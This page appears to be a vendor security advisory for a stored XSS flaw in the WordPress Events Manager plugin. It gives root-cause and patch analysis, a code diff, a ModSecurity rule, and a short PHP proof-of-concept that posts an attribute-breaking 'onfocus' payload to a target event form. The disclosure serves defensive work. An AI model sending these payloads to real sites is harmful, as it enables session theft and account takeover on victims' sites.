Published : December 4, 2026

CVE-2026-107647: Events Manager <= 7.4.8 Unauthenticated Stored Cross-Site Scripting via 'event_rsvp_date' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.4)
CWE 79
Vulnerable Version 7.4.8
Patched Version 7.4.9
Disclosed December 3, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-107647: Events Manager versions up to and including 7.4.8 contain a stored cross-site scripting (XSS) vulnerability in the handling of the ‘event_rsvp_date’ parameter. The flaw stems from insufficient input sanitization and output escaping, permitting unauthenticated attackers to inject arbitrary scripts that execute when other users view an affected page. Exploitation requires the site owner to enable anonymous event submission (disabled by default) and place the [event_form] shortcode on a public page, as the unauthenticated vector relies on capability proxying via the configured guest account. The CVSS score is 5.4 (Medium).

Root Cause: The vulnerability resides in the event date handling within em-event.php. In the vulnerable version, the code at line 1161 processes the ‘event_rsvp_date’ POST parameter using wp_kses_data(), which does not adequately filter JavaScript in all contexts. The value is then stored in the $EM_Event->event_rsvp_date property. Later, when rendering the booking form template at templates/forms/event/bookings.php line 187, the stored value is output directly into an HTML attribute without escaping: <input type="date" name="event_rsvp_date" value="event_rsvp_date; ?>”>. This lack of output escaping allows an attacker to break out of the attribute and inject script. The patch addresses this by changing both the input validation and output escaping. On input, it now validates that the value matches a YYYY-MM-DD format before applying sanitize_text_field(). On output, it wraps the value in esc_attr(). Similar escaping issues were fixed in locationmap.php, events.php, locations.php, bookings-event-printable.php, search/categories.php, form-sort.php, form-views.php, and tags.php.

Exploitation: An unauthenticated attacker submits a POST request to a page containing the [event_form] shortcode, targeting the ‘event_rsvp_date’ parameter. The attacker crafts a payload that breaks out of the HTML attribute and injects a script, such as: ‘2024-01-01″ onmouseover=”alert(1)’ or a more direct script injection. Since the input is only passed through wp_kses_data(), which may not remove event handlers, the payload is stored. When an administrator or another user visits the event page or the booking form, the script executes in their browser. The attack requires that anonymous event submission be enabled, which is not the default. The attacker does not need authentication, but the feature must be active. The exact AJAX endpoint or form action is not specified in the diff, but the [event_form] shortcode typically posts to the same page or admin-ajax.php with an appropriate action. In the patched version, input validation using preg_match prevents non-date values from entering, and output escaping with esc_attr() neutralizes any remaining malicious characters.

Patch Analysis: The patch modifies em-event.php to strictly validate the ‘event_rsvp_date’ parameter. The vulnerable code used wp_kses_data() for sanitization, which is insufficient for this context. The new code checks if the parameter matches the regex /^d{4}-d{2}-d{2}$/ before applying sanitize_text_field(). If the format does not match, it defaults to the event start date. This ensures only properly formatted dates are accepted. Additionally, the template file templates/forms/event/bookings.php now escapes the output with esc_attr(), preventing any injected scripts from executing. The patch also includes various other escaping fixes in templates (events.php, locations.php, etc.) and a change to em-phone.php to use the configured default country for phone number parsing, and introduces locking mechanisms in em-booking.php and em-bookings.php to prevent race conditions. However, the core fix for the XSS is the combination of input validation and output escaping for the ‘event_rsvp_date’ parameter. The before behavior allowed arbitrary strings, while the after behavior only permits a valid date format and escapes it on output.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim’s browser. This can lead to session hijacking, theft of cookies or authentication tokens, redirection to malicious sites, or performing actions on behalf of the victim (e.g., creating admin accounts if the victim is an administrator). Since the attack is stored, it affects all users who view the injected page, including administrators. The requirement for anonymous event submission limits the attack surface, but sites with that feature enabled are at risk. The CVSS score of 5.4 reflects the need for user interaction (victim visits the page) and specific configuration (anonymous submissions enabled).

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/events-manager/classes/em-booking.php
+++ b/events-manager/classes/em-booking.php
@@ -31,6 +31,20 @@
 	}
 }
 /**
+ * Resolve a booking from a request-supplied id. Accepts only a positive integer id or a 32-character booking UUID; any other value (notably an array, which would otherwise be mass-assigned onto a new EM_Booking) returns an empty booking.
+ * @param mixed $value
+ * @return EM_Booking
+ */
+function em_get_booking_request( $value ) {
+	if ( is_numeric( $value ) ) {
+		return em_get_booking( absint( $value ) );
+	}
+	if ( is_string( $value ) && preg_match( '/^[A-Za-z0-9]{32}$/', $value ) ) {
+		return em_get_booking( $value );
+	}
+	return em_get_booking();
+}
+/**
  * Contains all information and relevant functions surrounding a single booking made with Events Manager
  * @property int|false $booking_status
  * @property string $language
@@ -1336,8 +1350,12 @@
 		global $wpdb;
 		$action_string = strtolower($this->status_array[$status]);
 		//if we're approving we can't approve a booking if spaces are full, so check before it's approved.
+		// Hold a per-event lock across the full-check and the status write so two concurrent approvals can't both pass a stale space count and overbook.
+		$status_lock_event_id = ( !$ignore_spaces && $status == 1 ) ? $this->get_event_id() : 0;
+		$status_locked = $status_lock_event_id ? EM_Bookings::acquire_lock( $status_lock_event_id ) : false;
 		if(!$ignore_spaces && $status == 1){
-			if( !$this->is_reserved() && $this->get_event()->get_bookings()->get_available_spaces() < $this->get_spaces() && !$this->get_option('dbem_bookings_approval_overbooking') ){
+			if( !$this->is_reserved() && $this->get_event()->get_bookings()->get_available_spaces(true) < $this->get_spaces() && !$this->get_option('dbem_bookings_approval_overbooking') ){
+				if( $status_locked ) EM_Bookings::release_lock( $status_lock_event_id );
 				$this->feedback_message = sprintf(__('Not approved, spaces full.','events-manager'), $action_string);
 				$this->add_error($this->feedback_message);
 				return apply_filters('em_booking_set_status', false, $this);
@@ -1346,6 +1364,7 @@
 		$this->previous_status = $this->booking_status;
 		$this->booking_status = absint($status);
 		$result = $wpdb->query($wpdb->prepare('UPDATE '.EM_BOOKINGS_TABLE.' SET booking_status=%d WHERE booking_id=%d', array($status, $this->booking_id)));
+		if( $status_locked ) EM_Bookings::release_lock( $status_lock_event_id );
 		if($result !== false){
 			$this->flush_event_cache();
 			$this->update_meta('previous_status', $this->previous_status);
--- a/events-manager/classes/em-bookings-table.php
+++ b/events-manager/classes/em-bookings-table.php
@@ -386,7 +386,7 @@
 		do_action( static::$basename . '_ajax_table_row_action_' . $requested_action );
 		do_action( static::$basename . '_ajax_table_row_action', $requested_action );
 		$allowed_actions = array('bookings_approve'=>'approve','bookings_reject'=>'reject','bookings_unapprove'=>'unapprove', 'bookings_delete'=>'delete');
-		$EM_Booking = ( !empty($_REQUEST['booking_id']) ) ? em_get_booking($_REQUEST['booking_id']) : em_get_booking();
+		$EM_Booking = em_get_booking_request( $_REQUEST['booking_id'] ?? false );
 		if( ( array_key_exists($requested_action, $allowed_actions) || in_array( $requested_action, $allowed_actions )) && $EM_Booking->can_manage('manage_bookings','manage_others_bookings') ){
 			//Event Admin only actions
 			$action = $allowed_actions[$requested_action] ?? $requested_action;
--- a/events-manager/classes/em-bookings.php
+++ b/events-manager/classes/em-bookings.php
@@ -155,6 +155,39 @@
 	 * @param EM_Booking $EM_Booking
 	 * @return boolean
 	 */
+	/**
+	 * Acquire a short-lived MySQL advisory lock scoped to one event's bookings, so the availability check and the insert run as one critical section and concurrent requests can't each pass a stale space count and oversell. Best-effort: returns false if the lock can't be taken, in which case callers fall back to a non-atomic re-check rather than blocking a legitimate booking.
+	 * @param int $event_id
+	 * @param int $timeout seconds to wait for the lock
+	 * @return bool whether the lock was acquired
+	 */
+	public static function acquire_lock( $event_id, $timeout = 10 ){
+		global $wpdb;
+		if( empty($event_id) ) return false;
+		$got = $wpdb->get_var( $wpdb->prepare( 'SELECT GET_LOCK(%s, %d)', self::lock_name($event_id), $timeout ) );
+		return $got === '1' || $got === 1;
+	}
+
+	/**
+	 * Release a lock previously taken with acquire_lock(). Safe to call only when acquire_lock() returned true.
+	 * @param int $event_id
+	 */
+	public static function release_lock( $event_id ){
+		global $wpdb;
+		if( empty($event_id) ) return;
+		$wpdb->get_var( $wpdb->prepare( 'SELECT RELEASE_LOCK(%s)', self::lock_name($event_id) ) );
+	}
+
+	/**
+	 * GET_LOCK names are global to the MySQL server and capped at 64 characters, so namespace by database and table prefix: a collision between unrelated installs on a shared server would only cost extra serialization, never correctness.
+	 * @param int $event_id
+	 * @return string
+	 */
+	protected static function lock_name( $event_id ){
+		global $wpdb;
+		return 'em_bk_' . md5( DB_NAME . '|' . $wpdb->prefix . '|' . absint($event_id) );
+	}
+
 	function add( $EM_Booking ){
 		//Save the booking
 		$email = false;
@@ -162,7 +195,18 @@
 		if( empty($EM_Booking->booking_status) ){ //if status is not set, give 1 or 0 depending on approval settings
 			$EM_Booking->booking_status = em_get_option('dbem_bookings_approval') ? 0:1;
 		}
+		// Re-check availability against a fresh count, holding a per-event lock across the check and the insert so two concurrent bookings can't both pass a stale space count. The caller already validated, but that count can be stale by the time we save. Skipped when restrictions are disabled (e.g. manual bookings, which may intentionally overbook).
+		$lock_event_id = $EM_Booking->get_event_id();
+		$booking_locked = self::acquire_lock( $lock_event_id );
+		if( !self::$disable_restrictions && $EM_Booking->get_event()->get_bookings()->get_available_spaces(true) < $EM_Booking->get_spaces() ){
+			if( $booking_locked ) self::release_lock( $lock_event_id );
+			$EM_Booking->add_error( $EM_Booking->get_option('dbem_booking_feedback_full') );
+			$this->feedback_message = $EM_Booking->get_option('dbem_booking_feedback_full');
+			$this->errors = array_merge( $this->errors, $EM_Booking->get_errors() );
+			return apply_filters('em_bookings_add', false, $EM_Booking);
+		}
 		$result = $EM_Booking->save(false);
+		if( $booking_locked ) self::release_lock( $lock_event_id );
 		if ( $result ){
 			//Success
 		    do_action('em_bookings_added', $EM_Booking);
--- a/events-manager/classes/em-event.php
+++ b/events-manager/classes/em-event.php
@@ -1161,7 +1161,7 @@
 				}
 		    }else{
 				// if no rsvp cut-off date supplied, make it the event start date
-				$this->event_rsvp_date = ( !empty($_POST['event_rsvp_date']) ) ? wp_kses_data($_POST['event_rsvp_date']) : $this->event_start_date;
+				$this->event_rsvp_date = ( !empty($_POST['event_rsvp_date']) && preg_match('/^d{4}-d{2}-d{2}$/', $_POST['event_rsvp_date']) ) ? sanitize_text_field($_POST['event_rsvp_date']) : $this->event_start_date;
 				// if no specificed time, default to event start time
 				if ( empty($_POST['event_rsvp_time']) ) $this->event_rsvp_time = $this->event_start_time;
 		    }
--- a/events-manager/classes/em-phone.php
+++ b/events-manager/classes/em-phone.php
@@ -70,7 +70,9 @@
 	public static function validate( $value, $options = array() ) {
 		$phoneUtil = static::get();
 		try {
-			$phone = $phoneUtil->parse( $value ); // we expect a +... number so in theory no region required
+			// Parse against the configured default country, the same region parse() uses, so a stored national-format number (e.g. a value saved before validation was enabled, or an admin profile edit where the E.164 input script hasn't run) validates the way it is displayed instead of throwing for want of a leading "+".
+			$region = !empty($options['country']) ? $options['country'] : em_get_option('dbem_phone_default_country');
+			$phone = $phoneUtil->parse( $value, $region );
 			if ( $phoneUtil->isValidNumber( $phone ) ) {
 				return true;
 			}
--- a/events-manager/em-actions.php
+++ b/events-manager/em-actions.php
@@ -339,7 +339,7 @@
 	if( !empty($_REQUEST['action']) && in_array($_REQUEST['action'], $booking_actions) && (is_user_logged_in() || (in_array($_REQUEST['action'], $booking_nopriv_actions) && em_get_option('dbem_bookings_anonymous'))) ){
 		global $EM_Event, $EM_Booking, $EM_Person;
 		//Load the booking object, with saved booking if requested
-		$EM_Booking = ( !empty($_REQUEST['booking_id']) ) ? em_get_booking($_REQUEST['booking_id']) : em_get_booking();
+		$EM_Booking = em_get_booking_request( $_REQUEST['booking_id'] ?? false );
 		if( !empty($EM_Booking->event_id) ){
 			//Load the event object, with saved event if requested
 			$EM_Event = $EM_Booking->get_event();
@@ -677,7 +677,7 @@
 		}
 	}elseif( !empty($_REQUEST['action']) && $_REQUEST['action'] == 'booking_add' && !is_user_logged_in() && !em_get_option('dbem_bookings_anonymous')){
 		global $EM_Booking;
-		$EM_Booking = ( !empty($_REQUEST['booking_id']) ) ? em_get_booking($_REQUEST['booking_id']) : em_get_booking();
+		$EM_Booking = em_get_booking_request( $_REQUEST['booking_id'] ?? false );
 		$EM_Notices->add_error( $EM_Booking->get_option('dbem_booking_feedback_log_in') );
 		if( defined('DOING_AJAX') ){
 			$return = array('result'=>false, 'success'=>false, 'message'=> $EM_Booking->get_option('dbem_booking_feedback_log_in'), 'errors'=>$EM_Notices->get_errors());
--- a/events-manager/events-manager.php
+++ b/events-manager/events-manager.php
@@ -1,7 +1,7 @@
 <?php
 /*
 Plugin Name: Events Manager
-Version: 7.4.8
+Version: 7.4.9
 Plugin URI: https://wp-events-plugin.com
 Description: Event registration and booking management for WordPress. Recurring events, locations, webinars, google maps, rss, ical, booking registration and more!
 Author: Pixelite
@@ -30,7 +30,7 @@
 // Setting constants
 use EMArchetypes;

-define('EM_VERSION', '7.4.8'); //self expanatory, although version currently may not correspond directly with published version number. until 6.0 we're stuck updating 5.999.x
+define('EM_VERSION', '7.4.9'); //self expanatory, although version currently may not correspond directly with published version number. until 6.0 we're stuck updating 5.999.x
 define('EM_PRO_MIN_VERSION', '3.9'); //self expanatory
 define('EM_PRO_MIN_VERSION_CRITICAL', '3.6.0.2'); //self expanatory
 define('EM_FILE', __FILE__); //an absolute path to this directory
--- a/events-manager/templates/forms/event/bookings.php
+++ b/events-manager/templates/forms/event/bookings.php
@@ -187,7 +187,7 @@
 				<span class="em-booking-date-normal em-datepicker">
 					<input type="hidden" class="em-date-input em-date-input-start" aria-hidden="true" aria-label="<?php esc_html_e('Booking Cut-Off Date','events-manager'); ?>">
 					<span class="em-datepicker-data">
-						<input type="date" name="event_rsvp_date" value="<?php echo $EM_Event->event_rsvp_date; ?>">
+						<input type="date" name="event_rsvp_date" value="<?php echo esc_attr($EM_Event->event_rsvp_date); ?>">
 					</span>
 				</span>
 				<span class="em-booking-date-recurring">
--- a/events-manager/templates/placeholders/locationmap.php
+++ b/events-manager/templates/placeholders/locationmap.php
@@ -19,7 +19,7 @@
 		if( em_get_option('dbem_gmap_type') == 'embed' ){
 			$map_url = $EM_Location->get_google_maps_embed_url();
 			?>
-			<div class="em-location-map-container"  style='position:relative; background: #CDCDCD; width: <?php echo $width ?>; height: <?php echo $height ?>;'>
+			<div class="em-location-map-container"  style='position:relative; background: #CDCDCD; width: <?php echo esc_attr($width) ?>; height: <?php echo esc_attr($height) ?>;'>
 				<iframe class="em-location-map" style="width:100%; height:100%; border:0;" src="<?php echo esc_attr($map_url); ?>" allowfullscreen></iframe>
 			</div>
 			<?php
--- a/events-manager/templates/tables/events.php
+++ b/events-manager/templates/tables/events.php
@@ -11,30 +11,30 @@
 	/* @var bool $show_add_new */
 	/* @var int $limit */
 	/* @var int $page */
-	$url = esc_url(add_query_arg(array('scope' => null, 'status' => null, 'em_search' => null, 'pno' => null, 'admin_mode' => null))); //template for cleaning the link for each view below
+	$url = add_query_arg(array('scope' => null, 'status' => null, 'em_search' => null, 'pno' => null, 'admin_mode' => null)); //template for cleaning the link for each view below
 	?>
 	<div class="<?php em_template_classes('events-admin', 'events-admin-list'); ?>">
 		<form id="posts-filter" action="" method="get" class="input">
 			<?php
 			echo $EM_Notices;
 			//add new button will only appear if called from em_event_admin template tag, or if the $show_add_new var is set
-			if(!empty($show_add_new) && current_user_can('edit_events')) echo '<a class="em-button button add-new-h2" href="'.em_add_get_params($_SERVER['REQUEST_URI'],array('action'=>'edit','scope'=>null,'status'=>null,'event_id'=>null, 'success'=>null)).'">'.__('Add New','events-manager').'</a>';
+			if(!empty($show_add_new) && current_user_can('edit_events')) echo '<a class="em-button button add-new-h2" href="'.esc_url( em_add_get_params($_SERVER['REQUEST_URI'],array('action'=>'edit','scope'=>null,'status'=>null,'event_id'=>null, 'success'=>null)) ).'">'.__('Add New','events-manager').'</a>';
 			?>
 			<div class="subsubsub">
-				<?php $url = esc_url(add_query_arg(array('scope'=>null,'status'=>null,'em_search'=>null,'pno'=>null, 'admin_mode'=>null))); //template for cleaning the link for each view below ?>
-				<a href='<?php echo add_query_arg('view', 'future', $url); ?>' <?php echo ( !isset($_GET['view']) ) ? 'class="current"':''; ?>><?php _e ( 'Upcoming', 'events-manager'); ?> <span class="count">(<?php echo $future_count; ?>)</span></a>  | 
+				<?php $url = add_query_arg(array('scope'=>null,'status'=>null,'em_search'=>null,'pno'=>null, 'admin_mode'=>null)); //template for cleaning the link for each view below ?>
+				<a href='<?php echo esc_url( add_query_arg('view', 'future', $url) ); ?>' <?php echo ( !isset($_GET['view']) ) ? 'class="current"':''; ?>><?php _e ( 'Upcoming', 'events-manager'); ?> <span class="count">(<?php echo $future_count; ?>)</span></a>  | 
 				<?php if( $pending_count > 0 ): ?>
-				<a href='<?php echo add_query_arg('view', 'pending', $url); ?>' <?php echo ( isset($_GET['view']) && $_GET['view'] == 'pending' ) ? 'class="current"':''; ?>><?php _e ( 'Pending', 'events-manager'); ?> <span class="count">(<?php echo $pending_count; ?>)</span></a>  | 
+				<a href='<?php echo esc_url( add_query_arg('view', 'pending', $url) ); ?>' <?php echo ( isset($_GET['view']) && $_GET['view'] == 'pending' ) ? 'class="current"':''; ?>><?php _e ( 'Pending', 'events-manager'); ?> <span class="count">(<?php echo $pending_count; ?>)</span></a>  | 
 				<?php endif; ?>
 				<?php if( $draft_count > 0 ): ?>
-				<a href='<?php echo add_query_arg('view', 'draft', $url); ?>' <?php echo ( isset($_GET['view']) && $_GET['view'] == 'draft' ) ? 'class="current"':''; ?>><?php _e ( 'Draft', 'events-manager'); ?> <span class="count">(<?php echo $draft_count; ?>)</span></a>  |
+				<a href='<?php echo esc_url( add_query_arg('view', 'draft', $url) ); ?>' <?php echo ( isset($_GET['view']) && $_GET['view'] == 'draft' ) ? 'class="current"':''; ?>><?php _e ( 'Draft', 'events-manager'); ?> <span class="count">(<?php echo $draft_count; ?>)</span></a>  |
 				<?php endif; ?>
-				<a href='<?php echo add_query_arg('view', 'past', $url); ?>' <?php echo ( isset($_GET['view']) && $_GET['view'] == 'past' ) ? 'class="current"':''; ?>><?php _e ( 'Past Events', 'events-manager'); ?> <span class="count">(<?php echo $past_count; ?>)</span></a>
+				<a href='<?php echo esc_url( add_query_arg('view', 'past', $url) ); ?>' <?php echo ( isset($_GET['view']) && $_GET['view'] == 'past' ) ? 'class="current"':''; ?>><?php _e ( 'Past Events', 'events-manager'); ?> <span class="count">(<?php echo $past_count; ?>)</span></a>

 				<?php if( current_user_can('edit_others_events') ): ?>
 					<div class="admin-events-filter">
-						<a href='<?php echo add_query_arg('admin_mode', 1, $url); ?>' <?php echo ( !empty($_GET['admin_mode']) ) ? 'class="current"':''; ?>><?php esc_html_e ( 'All Events', 'events-manager'); ?></a>  | 
-						<a href='<?php echo add_query_arg('admin_mode', null, $url); ?>' <?php echo ( empty($_GET['admin_mode']) ) ? 'class="current"':''; ?>><?php esc_html_e ( 'My Events', 'events-manager'); ?></a>
+						<a href='<?php echo esc_url( add_query_arg('admin_mode', 1, $url) ); ?>' <?php echo ( !empty($_GET['admin_mode']) ) ? 'class="current"':''; ?>><?php esc_html_e ( 'All Events', 'events-manager'); ?></a>  | 
+						<a href='<?php echo esc_url( add_query_arg('admin_mode', null, $url) ); ?>' <?php echo ( empty($_GET['admin_mode']) ) ? 'class="current"':''; ?>><?php esc_html_e ( 'My Events', 'events-manager'); ?></a>
 					</div>
 				<?php endif; ?>
 			</div>
--- a/events-manager/templates/tables/locations.php
+++ b/events-manager/templates/tables/locations.php
@@ -9,21 +9,21 @@
 	/* @var int $limit */
 	/* @var int $page */
 	/* @var int $offset */
-	$url = esc_url(add_query_arg(array('scope'=>null,'status'=>null,'location_id'=>null)));
+	$url = add_query_arg(array('scope'=>null,'status'=>null,'location_id'=>null));
 ?>
 <div class="<?php em_template_classes('locations-admin'); ?> em-locations-admin-list">
 <?php if(!is_admin()) echo $EM_Notices; ?>
 <form id='locations-filter' method='post' action='' class="input">
 	<?php
 	//add new button will only appear if called from em_location_admin template tag, or if the $show_add_new var is set
-	if(!empty($show_add_new) && current_user_can('edit_locations')) echo '<a class="em-button button add-new-h2" href="'.add_query_arg('action', 'edit', $url).'">'.__('Add New','events-manager').'</a>';
+	if(!empty($show_add_new) && current_user_can('edit_locations')) echo '<a class="em-button button add-new-h2" href="'.esc_url( add_query_arg('action', 'edit', $url) ).'">'.__('Add New','events-manager').'</a>';
 	?>
 	<input type='hidden' name='pno' value='<?php echo esc_attr($page) ?>' />
 	<div class="subsubsub">
-		<a href='<?php echo add_query_arg(array('view'=>null, 'pno'=>null), $url); ?>' <?php echo ( empty($_REQUEST['view']) ) ? 'class="current"':''; ?>><?php echo sprintf( __( 'My %s', 'events-manager'), __('Locations','events-manager')); ?> <span class="count">(<?php echo $locations_mine_count; ?>)</span></a>
+		<a href='<?php echo esc_url( add_query_arg(array('view'=>null, 'pno'=>null), $url) ); ?>' <?php echo ( empty($_REQUEST['view']) ) ? 'class="current"':''; ?>><?php echo sprintf( __( 'My %s', 'events-manager'), __('Locations','events-manager')); ?> <span class="count">(<?php echo $locations_mine_count; ?>)</span></a>
 		<?php if( current_user_can('read_others_locations') ): ?>
 		 | 
-		<a href='<?php echo add_query_arg(array('view'=>'others', 'pno'=>null), $url); ?>' <?php echo ( !empty($_REQUEST['view']) && $_REQUEST['view'] == 'others' ) ? 'class="current"':''; ?>><?php echo sprintf( __( 'All %s', 'events-manager'), __('Locations','events-manager')); ?><span class="count">(<?php echo $locations_all_count; ?>)</span></a>
+		<a href='<?php echo esc_url( add_query_arg(array('view'=>'others', 'pno'=>null), $url) ); ?>' <?php echo ( !empty($_REQUEST['view']) && $_REQUEST['view'] == 'others' ) ? 'class="current"':''; ?>><?php echo sprintf( __( 'All %s', 'events-manager'), __('Locations','events-manager')); ?><span class="count">(<?php echo $locations_all_count; ?>)</span></a>
 		<?php endif; ?>
 	</div>
 	<?php if ( $locations_count > 0 ) : ?>
--- a/events-manager/templates/templates/bookings-event-printable.php
+++ b/events-manager/templates/templates/bookings-event-printable.php
@@ -32,11 +32,11 @@
 		    ?>
 		<tr>

-			<td><?php echo $EM_Booking->person->get_name() ?></td>
-			<td><?php echo $EM_Booking->person->user_email ?></td>
-			<td><?php echo $EM_Booking->person->phone ?></td>
+			<td><?php echo esc_html($EM_Booking->person->get_name()) ?></td>
+			<td><?php echo esc_html($EM_Booking->person->user_email) ?></td>
+			<td><?php echo esc_html($EM_Booking->person->phone) ?></td>
 			<td class='spaces-number'><?php echo $EM_Booking->get_spaces() ?></td>
-			<td><?php echo $EM_Booking->booking_comment ?></td>
+			<td><?php echo esc_html($EM_Booking->booking_comment) ?></td>
 		</tr>
 	   	<?php }} ?>
 	  	<tr id='booked-spaces'>
--- a/events-manager/templates/templates/search/categories.php
+++ b/events-manager/templates/templates/search/categories.php
@@ -9,8 +9,8 @@
 	<label for="em-search-category-<?php echo absint($args['id']) ?>" class="screen-reader-text"><?php echo esc_html($args['category_label']); ?></label>

 	<select name="category[]" class="em-search-category em-selectize <?php echo $args['search_multiselect_style']; ?> checkboxes" id="em-search-category-<?php echo absint($args['id']) ?>" multiple
-	        data-default="<?php echo $args['categories_label']; ?>"
-	        data-label="<?php echo $args['category_label']; ?>"
+	        data-default="<?php echo esc_attr($args['categories_label']); ?>"
+	        data-label="<?php echo esc_attr($args['category_label']); ?>"
             data-clear-text="<?php echo esc_attr($args['categories_clear_text']); ?>"
             data-selected-text="<?php echo esc_attr($args['categories_count_text']); ?>"
 	        placeholder="<?php echo esc_attr($args['categories_placeholder']); ?>">
--- a/events-manager/templates/templates/search/form-sort.php
+++ b/events-manager/templates/templates/search/form-sort.php
@@ -7,7 +7,7 @@
 ?>
 <div class="em-search-sort" aria-label="<?php esc_attr_e('Sorting Order', 'events-manager'); ?>">
 	<div class="em-search-sort-trigger" id="em-search-sort-trigger-<?php echo $id; ?>">
-		<button type="button" class="em-search-sort-option em-clickable em-search-sort-type-<?php echo $args['order']; ?>" data-sort="<?php echo esc_attr($args['order']); ?>"><?php esc_attr_e('Sorting Order', 'events-manager'); ?></button>
-		<input name="order" type="hidden" value="<?php echo $args['order']; ?>">
+		<button type="button" class="em-search-sort-option em-clickable em-search-sort-type-<?php echo esc_attr($args['order']); ?>" data-sort="<?php echo esc_attr($args['order']); ?>"><?php esc_attr_e('Sorting Order', 'events-manager'); ?></button>
+		<input name="order" type="hidden" value="<?php echo esc_attr($args['order']); ?>">
 	</div>
 </div>
 No newline at end of file
--- a/events-manager/templates/templates/search/form-views.php
+++ b/events-manager/templates/templates/search/form-views.php
@@ -6,7 +6,7 @@
 	<div class="em-search-views" aria-label="<?php esc_attr_e('View Types', 'events-manager'); ?>">
 		<?php $search_views = em_get_search_views(); ?>
 		<div class="em-search-views-trigger" data-template="em-search-views-options-<?php echo $id; ?>">
-			<button type="button" class="em-search-view-option em-clickable em-search-view-type-<?php echo $args['view']; ?>" data-view="<?php echo esc_attr($args['view']); ?>"><?php echo esc_html($search_views[$args['view']]['name']); ?></button>
+			<button type="button" class="em-search-view-option em-clickable em-search-view-type-<?php echo esc_attr($args['view']); ?>" data-view="<?php echo esc_attr($args['view']); ?>"><?php echo esc_html($search_views[$args['view']]['name']); ?></button>
 		</div>
 		<div class="em-search-views-options input" id="em-search-views-options-<?php echo $id; ?>">
 			<fieldset class="em-search-views-options-list" id="em-search-views-options-select-<?php echo $id; ?>">
@@ -21,5 +21,5 @@
 		</div>
 	</div>
 <?php else: ?>
-	<input name="view" type="hidden" value="<?php echo $args['view']; ?>">
+	<input name="view" type="hidden" value="<?php echo esc_attr($args['view']); ?>">
 <?php endif; ?>
 No newline at end of file
--- a/events-manager/templates/templates/search/tags.php
+++ b/events-manager/templates/templates/search/tags.php
@@ -8,8 +8,8 @@
 	<label for="em-search-tag-<?php echo absint($args['id']) ?>" class="screen-reader-text"><?php echo esc_html($args['tag_label']); ?></label>

 	<select name="tag[]" class="em-search-tag em-selectize checkboxes <?php echo $args['search_multiselect_style']; ?>" id="em-search-tag-<?php echo absint($args['id']) ?>" multiple size="10"
-            data-default="<?php echo $args['tags_label']; ?>"
-            data-label="<?php echo $args['tag_label']; ?>"
+            data-default="<?php echo esc_attr($args['tags_label']); ?>"
+            data-label="<?php echo esc_attr($args['tag_label']); ?>"
             data-clear-text="<?php echo esc_attr($args['tags_clear_text']); ?>"
             data-count-text="<?php echo esc_attr($args['tags_count_text']); ?>"
             placeholder="<?php echo esc_html($args['tags_placeholder']); ?>">

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-107647
SecRule REQUEST_URI "@rx ^/.*$" 
  "id:2026107647,phase:2,deny,status:403,chain,msg:'CVE-2026-107647 via Events Manager event_rsvp_date XSS',severity:'CRITICAL',tag:'CVE-2026-107647'"
  SecRule ARGS_POST:event_rsvp_date "@rx [^0-9-]" 
    "t:urlDecodeUni,t:htmlEntityDecode,t:jsDecode,chain"
    SecRule ARGS_POST:action "@streq event_save" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-107647 - Events Manager <= 7.4.8 - Unauthenticated Stored Cross-Site Scripting via 'event_rsvp_date' Parameter

// Configure target URL (page with [event_form] shortcode where anonymous event submission is enabled)
$target_url = 'http://example.com/events/submit-event/';

// Payload: break out of the date input attribute and inject a script
$payload = '2024-01-01" onfocus="alert(document.domain)" autofocus="';

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Prepare POST data with the malicious event_rsvp_date and other required fields
$post_data = array(
    'action' => 'event_save', // typical action for event form submission, may vary
    'event_name' => 'Test Event',
    'event_start_date' => date('Y-m-d'),
    'event_end_date' => date('Y-m-d'),
    'event_rsvp_date' => $payload,
    // Add any other required fields (location, etc.)
);

curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "[+] Payload submitted. Check the event page for script execution.n";
} else {
    echo "[-] Submission failed with HTTP code: $http_coden";
}

// Note: The actual form may require additional fields or a nonce if logged in. This PoC assumes anonymous submission is enabled and the form is accessible.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
